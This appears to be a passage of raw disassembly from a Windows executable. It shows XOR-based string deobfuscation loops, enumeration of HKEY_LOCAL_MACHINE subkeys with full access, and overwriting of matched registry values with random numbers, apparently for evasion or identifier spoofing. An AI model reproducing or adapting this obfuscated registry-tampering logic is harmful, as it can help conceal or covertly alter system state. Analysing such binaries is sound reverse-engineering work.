psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x48
jl 0x140019110
cmp ecx, 0x4a
jge 0x140019248
movsxd rax, ecx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x4a
jl 0x140019210
lea rax, [rbp - 0x38]
mov qword [rsp + 0x3c8], rdi
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x398], r14
lea rdx, [rbp - 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140019b44
mov r14, qword [rbp - 0x38]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x20], rbx
mov edi, ebx
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140019b3b
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140019339
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
inc edi
mov qword [rsp + 0x28], rbx
mov edx, edi
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1400192d0
jmp 0x140019b3b
movups xmm0, xmmword [0x1400296a0]
mov ecx, ebx
movups xmm1, xmmword [0x1400296b0]
movzx eax, word [0x1400296e0]
mov rdi, qword [rbp - 0x40]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400296c0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400296d0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], ax
cmp esi, 2
jl 0x140019480
lea rdx, [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x20
jl 0x140019390
cmp ecx, 0x21
jge 0x1400194c8
movsxd rax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x21
jl 0x140019490
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140019679
movups xmm0, xmmword [0x1400296a0]
mov ecx, ebx
movups xmm1, xmmword [0x1400296b0]
movzx eax, word [0x1400296e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400296c0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400296d0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], ax
cmp esi, 2
jl 0x140019620
lea rdx, [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x20
jl 0x140019530
cmp ecx, 0x21
jge 0x140019668
movsxd rax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x21
jl 0x140019630
lea r8, [rsp + 0x40]
mov rcx, rdi
lea rdx, [rbp - 0x20]
call fcn.140016330
movzx eax, word [0x14002b640]
mov ecx, ebx
mov word [rsp + 0x60], ax
movups xmm4, xmmword [0x14002b620]
movups xmm0, xmmword [0x14002b630]
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14001984e
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
mov ecx, 0x10
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
mov eax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x11
jl 0x140019860
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140019b3b
movzx eax, word [0x14002b640]
mov ecx, ebx
mov word [rsp + 0x60], ax
movups xmm4, xmmword [0x14002b620]
movups xmm0, xmmword [0x14002b630]
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x140019a84
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
mov ecx, 0x10
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
mov eax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x11
jl 0x140019a90
lea rax, [rbp - 0x60]
mov qword [rbp - 0x60], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140019b3b
mov rdi, qword [rbp - 0x60]
xor eax, eax
mov dword [rbp - 0x24], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x28], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, [rsp + 0x40]
mov dword [rbp - 0x24], eax
mov r9d, 0xb
lea rax, [rbp - 0x28]
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x14002bc30]
mov ecx, ebx
movups xmm1, xmmword [0x14002bc40]
mov eax, dword [0x14002bcc0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x14002bc50]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x14002bc70]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x14002bc60]
movups xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x14002bc90]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x14002bc80]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x14002bcb0]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [0x14002bca0]
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp - 0x60], rbx
movups xmmword [rbp + 0x50], xmm1
mov dword [rbp + 0x70], eax
cmp esi, 2
jl 0x140019cc0
lea rdx, [rbp - 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x48
jl 0x140019bd0
cmp ecx, 0x4a
jge 0x140019d08
movsxd rax, ecx
lea r8, [rbp - 0x20]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x4a
jl 0x140019cd0
lea rax, [rbp - 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001a5f4
mov r14, qword [rbp - 0x60]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x20], rbx
mov edi, ebx
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14001a5eb
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x20]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140019de9
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x30]
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 0x20]
inc edi
mov qword [rsp + 0x28], rbx
mov edx, edi
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov dword [rbp - 0x30], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140019d80
jmp 0x14001a5eb
movups xmm0, xmmword [0x1400296a0]
mov ecx, ebx
movups xmm1, xmmword [0x1400296b0]
movzx eax, word [0x1400296e0]
mov rdi, qword [rbp - 0x40]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400296c0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400296d0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], ax
cmp esi, 2
jl 0x140019f30
lea rdx, [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x20
jl 0x140019e40
cmp ecx, 0x21
jge 0x140019f78
movsxd rax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x21
jl 0x140019f40
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14001a129
movups xmm0, xmmword [0x1400296a0]
mov ecx, ebx
movups xmm1, xmmword [0x1400296b0]
movzx eax, word [0x1400296e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400296c0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400296d0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], ax
cmp esi, 2
jl 0x14001a0d0
lea rdx, [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x20
jl 0x140019fe0
cmp ecx, 0x21
jge 0x14001a118
movsxd rax, ecx
lea r8, [rsp + 0x40]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x21
jl 0x14001a0e0
lea r8, [rsp + 0x40]
mov rcx, rdi
lea rdx, [rbp - 0x20]
call fcn.140016330
movzx eax, word [0x14002b640]
mov ecx, ebx
mov word [rsp + 0x60], ax
movups xmm4, xmmword [0x14002b620]
movups xmm0, xmmword [0x14002b630]
movups xmmword [rsp + 0x40], xmm4
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14001a2fe
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x40], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x48]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x48], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm12
xorps xmm3, xmm0
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movq qword [rsp + 0x50], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm12
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x58]
mov ecx, 0x10
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
mov eax, ecx
